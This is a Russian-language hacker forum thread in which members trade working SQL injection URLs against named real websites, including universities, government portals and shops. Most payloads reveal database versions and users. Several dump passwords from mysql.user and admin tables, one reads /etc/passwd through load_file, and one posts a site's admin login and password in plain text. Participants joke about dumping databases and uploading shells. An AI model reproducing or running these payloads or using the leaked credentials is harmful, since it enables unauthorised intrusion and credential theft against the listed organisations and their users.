Сообщений в теме: 96

[Ky3bMu4]

UPDATE: Выкладывать разрешено только раскрученные sql-иньекции!


Предлагаю писать все скули сюда.

Вся предоставленная здесь информация представлена,чтобы показать производителям уязвимость их продукции,автор не несет ответсвенности за незаконное использование данной информации"

Накопилось...

 
http://www.igray.ru/news.php?sid=-3689+union+select+version()/*
http://www.gapart.com/ru/she/news.php?page=1&id=-111+union+select+1,2,3,version(),5/*
http://legalru.ru/document.php?id=-19593+union+select+1,version(),3,4,5/*
http://www.goldenmask.ru/news.php?nid=-777+union+select+1,version(),3,4,5,6/*
http://www.dec-edu.com/detail_news.php?news=-33+union+select+version()/* (см. заголовок страницы)
http://www.rdu.org.ua/news.php?path=arc&subpath=main&content=-1044981924+union+select+1,version(),3,4/*
http://www.gse.upenn.edu/cms/cms.php?id=-263+union+select+1,2,3,4,version(),6/*
http://www.nhia.edu/news.php?id=-13+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*
http://gopanthers.fit.edu/sports_info/view.php?id=-11+union+select+1,2,3,4/*
http://www.montana.edu/cpa/news/nwview.php?article=-4862+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*
http://extension.oregonstate.edu/news/story.php?storyType=news&S_No=-456+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,version(),16,17,18,19,20,21,22,23,24/*
http://rpitv.union.rpi.edu/news.php?newsid=-5+union+select+version(),2,3,4/*

http://history.ky.gov/news.php?sectionid=5&month=06&year=2007&pageid=-16+union+select+1,2,3,4,5,6,7,8/*
http://www.leiden.edu/students/index.php3?c=-46+union+select+version()/*

http://bgkulinar.net/news.php?&newsid=-1358+union+select+version()/*
http://colab.hunter.cuny.edu/colabcms/event_info.php?eventID=-18+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13/*
http://www.acconcept.ru/news/news.php?id=-124+union+select+1,version(),3,4,5,6,7,8/*
http://romanykultury.info/news/news.php?row=-333+union+select+1,version(),3,4,5/*
http://www.hrd.ru/news.php?act=news_by_id&news_id=-283+union+select+1,2,3,4,version(),6,7/*
http://www.cews.org/cews/news.php?aid=-384+union+select+1,version()/*

К этим не подобрал

http://bchs.uh.edu/news.php?news=-68+union+select+1/*
http://www.metropolitan.edu/news/newsdetail.php?id=-231+union+select+1,2,3,4/*
http://www.umtri.umich.edu/news.php?id=1455+union+select+1,2,3/*
http://www.mlml.calstate.edu/news/newsdetail.php?nid=-34+union+select+1,2,3,4,5,6,7,8,9/*
http://www.intergu.ru/pedsov/index.asp?main=answer&id_sec=-60+union+select+1,2/*
http://ruspoisk.ru/?type=7&s=54&city=-337+union+select+1,2,3,4,5,6,7,8,9/*

http://www.networkdoc.ru/news/news.php?id=-342+union+select+1/*
http://www.mpn.ru/my_news.php?number=8&id=-1+union+select+1,2,3/*
http://www.pskovedu.ru/?session=&project_id=-93+union+select+1,2,3/*
http://www.kruiz.info/news.php?page=-1+union+select+1,2,3,4,5,6,7,8,9,0/*
http://isicad.ru/ru/news.php?news=-11199+union+select+1,2,3/*
http://www.umora.ru/view.cgi?s=links&id=-117319505621382+union+select+1,2,3,4,5,6/*
http://www.ffu.org.ua/news.php?date=2007-05-24&news_id=-2984+union+select+1,2,3,4,5/*
http://samooborona.org/text/show_news.php?subaction=showfull&archive=&cnshow=news&ucat=3>&id=1173957351+union+
select+1,2,3,4,5,6,7,8,9/*

[aka PSIH]

http://disability.tamu.edu/accessresult.asp?bldgnum=@@version--

  

http://gradadmissions.osu.edu/faqs/FAQSubject.aspx?sub=1'%20or%201=@@version--

http://health.wvu.edu/newsreleases/news-detail.asp?ID=@@version--

[aka PSIH]

http://support.mansion.com/al/12/1/article.asp?aid=1173&c=12&cp=@@version--

  

:excl:  :P

[aka PSIH]

http://www.wagerweb.com/endorsement-detail.cfm?endorsmentid=13%20union%20select%201,2,3,4,5,6/*

[aka PSIH]

http://alum.chatham.edu/alumni/get_gallery.cfm?ID=@@version--

  

http://www.claremontmckenna.edu/news/pressreleases/article.asp?article_id=1'%20or%201=@@version--

[Ky3bMu4]

http://www.simonv.com/music/release.php?id=-78+union+select+concat(user(),version(),database())/*
http://www.mainelobsterfestival.com/release.php?ID=-13+union+select+1,2,3,version(),user(),6,database(),8,9,10,11,12/*
http://www.wishard.edu/news/release.php?id=-38+union+select+1,version(),database(),4,user(),6/*
http://www.integralwireless.net/news_media/release.php?id=-13+union+select+1,version(),database(),4,5,user(),7,8,9/*
http://www.peyron.com/release.php?id=-26+union+select+1,2,3,concat(version(),user()),database(),6,7,8/*
http://www.daltonagency.com/release.php?id=-51+union+select+1,user,password,4,5,6,7+from+mysql.user/*
http://www.playavista.com/about/news/release.php?id=-18+union+select+1,2,3,4,5,6,convert(concat_ws(0x3b,password,user,database())using%20latin1),
8+from+mysql.user/*
http://www.camdenme.org/news/release.php?ID=-63+union+select+1,2,3,4,user(),database(),7,8,9,10,11,12,13,14,version()/*
http://www.meprcouncil.org/news/release.php?ID=-66+union+select+1,2,user(),version(),database(),6,7,8,9,10,11,12/*

[aka PSIH]

вот вам post:

POST /current/control.cfm HTTP/1.1
Host: www.middlesexcc.edu
Content-Type: application/x-www-form-urlencoded
Content-Length: 113

MP_Answer=1&MP_Answer=1&MP_Answer=1&MP_Answer=1&MP_Answer=1&MP_Answer=1&MP_Answer=
1&MP_Answer=1&PollID="&Action=1

[RusTeam]

]]>Http://msb-bank.ru/main.php?sid=8']]>  )))))))))
На osmp.ru тоже нашёл, но сразу прикрыли - скрин остался)

[blaga]

http://www.beststroy.ru/articles_cat.php?id=-2+union+select+1,version()/*


http://www.beznakrutki.ru/navigator.php?katalogid=3&rasdel=-3+union+select+1,database(),version(),4,5/*

вторая - онлайн шоп

[RusTeam]

]]>http://russhanson.ru...irka.php?=']]>

[ENFIX]

ггг =) 84 столбца =-O такого я еще не встречал )

http://www.csc.ncsu.edu/directories/faculty_info.php?id=-1670+UNION+SELECT+1,2,3,4,5,user(),7,8,database(),version(),11,12,13,14,15,16,17,18,19,20,
21,22,23,24,25,26,27,28,29,now(),sin(pi()-),32,33,34,35,36,37,38,39,40,41,42,43,44,45,446,47,
48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,
79,80,81,82,83,84,85/*

[aka PSIH]

http://www.media.mit.edu/about/jobs.php?action=detail&id=-1%20union%20select%201,2,3,4,5,6,7,8,9/*

  

http://www.chems.msu.edu/php/class.php?page=-1%20union%20select%201,2,3,4,5,6,7,8/*

[ENFIX]

aka PSIH (21.7.2007, 5:16) писал:

http://www.chems.msu.edu/php/class.php?page=-1%20union%20select%201,2,3,4,5,6,7,8/*

там 7 полей. Еще бы открыл нам юзер и версию бд... ;)

http://www.chems.msu.edu/php/class.php?page=1+limit+0+union+select+1,2,3,aes_decrypt(aes_encrypt(concat(user(),0x3a,version())
,1),1),5,6,7/*

[ENFIX]

University of Arkansas Pine Bluff =)

http://www.uapb.edu/calendar.php?method=EventDetail&Eid=-39+union+select+1,user(),3,4,version(),6,7/*

http://www.uapb.edu/calendar.php?method=EventDetail&Eid=-39+union+select+1,concat(user,0x3a,password),3,4,5,6,7+from+mysql.user/*

http://www.uapb.edu/calendar.php?method=EventDetail&Eid=-39+union+select+1,2,3,4,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),6,7/*

http://www.uapb.edu/calendar.php?method=EventDetail&Eid=-39+union+select+1,2,3,4,load_file(char(47,101,116,99,47,104,111,115,116,115)),6,7/*

http://www.uapb.edu/calendar.php?method=EventDetail&Eid=-39+union+select+1,concat(AdminID,0x3a,AdminName,0x3a,AdminLoginName,0x3a,AdminPassword),3,4,5,6,
7+from+admin/*

[aka PSIH]

ENFIX

Цитата

Там 7 полей

правда? лол

http://www.chems.msu.edu/php/class.php?page=-1%20union%20select%201,2,3,4,5,6,7,aes_decrypt(aes_encrypt(concat(user(),0x3a,version()),1),1)/*

Цитата

Еще бы открыл нам юзер и версию бд...

может еще базу слить и шелл залить? ;)

[aka PSIH]

www.spu.edu

http://www.spu.edu/news/enews/tothepoint.asp?id=(select%20system_user)--

http://www.spu.edu/news/enews/tothepoint.asp?id=@@version--

[ENFIX]

Цитата

правда? лол

лол что?
Походу там используется несколько таблиц, на 7 полях вывод тоже есть, в чем лол, я так и не понял...

Цитата

может еще базу слить и шелл залить?

Ну это уже на усмотрение -)

Угадайте, чей поддомен? -)))

http://hir.harvard.edu/articles/emailarticle.php?article=-1547+union+select+1,concat(user(),0x3a,version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,
20,21,22,23,24,25,26/*

[MoLoToK]

http://www.president.gov.mk/info.asp?SectionID=11&InfoID=1+or+1=(SELECT+TOP+1+cast(UserID+as+nvarcha r)%2B%27%3A%27%2Bcast(Username+as+nvarchar)%2B%27% 3A%27%2Bcast(Password+as+nvarchar)+FROM+Users+wher e+UserID=1)--#top

[AFoST]

]]>http://www.mantra.ru...SCHEMA.TABLES/*]]>

[ENFIX]

Texas A & M University Psychology Department Home Page

Цитата

]]>http://psychology.tamu]]>.edu/Fac_Ext.php?ID=99999999+union+select+1,2,3,4,5,6,7,8,9,aes_decrypt(aes_encrypt(concat_ws(0x3a,username,password)
,1),1),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+admins+limit+2,1/*

http://psychology.tamu.edu/admin

galexander:narf

[AFoST]

http://vcam.ru/index.php?id=-1+union+select+concat(user(),0x20,database(),0x20,version())+from+news--

[$iD]

http://www.artek.org/index.phtml?ID=-101101+union+select+1,2,3,4,5,6,7,concat(uname,cha r(58),sname,char(58),nick,char(58),email,char(58), password),9,10,11,12,13,14+from+artekovtsi+limit+7 ,1/*

http://ori.utcluj.ro/burse/detalii_ bursa.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,co ncat(username,0x3a,password),16,17,18+from+adabsol utum_admin/*

[$iD]

http://www.popmech.ru/part/?articleid=2195+UNION+SELECT+concat(name,char(58),  password)+from+users+--+&rubricid=4

https://maps.tva.com/scripts/store/cart.asp?ID=1+or+1=(SELECT+TOP+1+Username+FROM+Log  in)--

[$iD]

_htp://www.passi.eu/profil.php?id= -1+union+s elect+1,2,3,4,5,6,7,8,9,10,11,12,concat(user (),0x3a ,version(),0x3a,database() ),14,15,16,17,18/*

_http://www .bsn.eu/main.php?id=-1+union+select+1,2,3,aes_decrypt (aes_encrypt(version(),0x 71),0x 71),5,6,7,8,9/*

_http://www.triennale.it/index.php?id=1&tbl=0&idq=-483+UNION+SELECT+50,49,48,47,46,45,44,43,42,column  _name,40,39,38,37,36,35,34,33,32,31,30,29,28,27,26  ,25,24,23,22,21,20,19,18,17,16,15,14,13,12,11,10,9  ,8,7,6,5,4,3,2,1+from+information_schema.columns+w  here+table_name=0x7574656e74695f7374616d7061/*
_http://www.triennale.it/index.php?id=1&tbl=0&idq=-483+UNION+SELECT+50,49,48,47,46,45,44,43,42,table_  name,40,39,38,37,36,35,34,33,32,31,30,29,28,27,26,  25,24,23,22,21,20,19,18,17,16,15,14,13,12,11,10,9,  8,7,6,5,4,3,2,1+from+information_schema.tables+lim  it+16,1/*
_http://www.triennale.it/index.php?id=1&tbl=0&idq=-483+UNION+SELECT+50,49,48,47,46,45,44,43,42,concat  _ws(char(58,58),ultimo_accesso,nome,cognome,testat  a,via,email,password,id_gruppo,richiesta_pass),40,  39,38,37,36,35,34,33,32,31,30,29,28,27,26,25,24,23  ,22,21,20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,  4,3,2,1+from+utenti_stampa/*

_http://www.blackwood.ru/main.php?id=-1+UNION+SELECT+1,2,3+FROM+blackwood_ru_content/*

[aka PSIH]

http://www.napavalley.edu/apps/list.asp?Q=1&tit=General+Interest&C=@@version--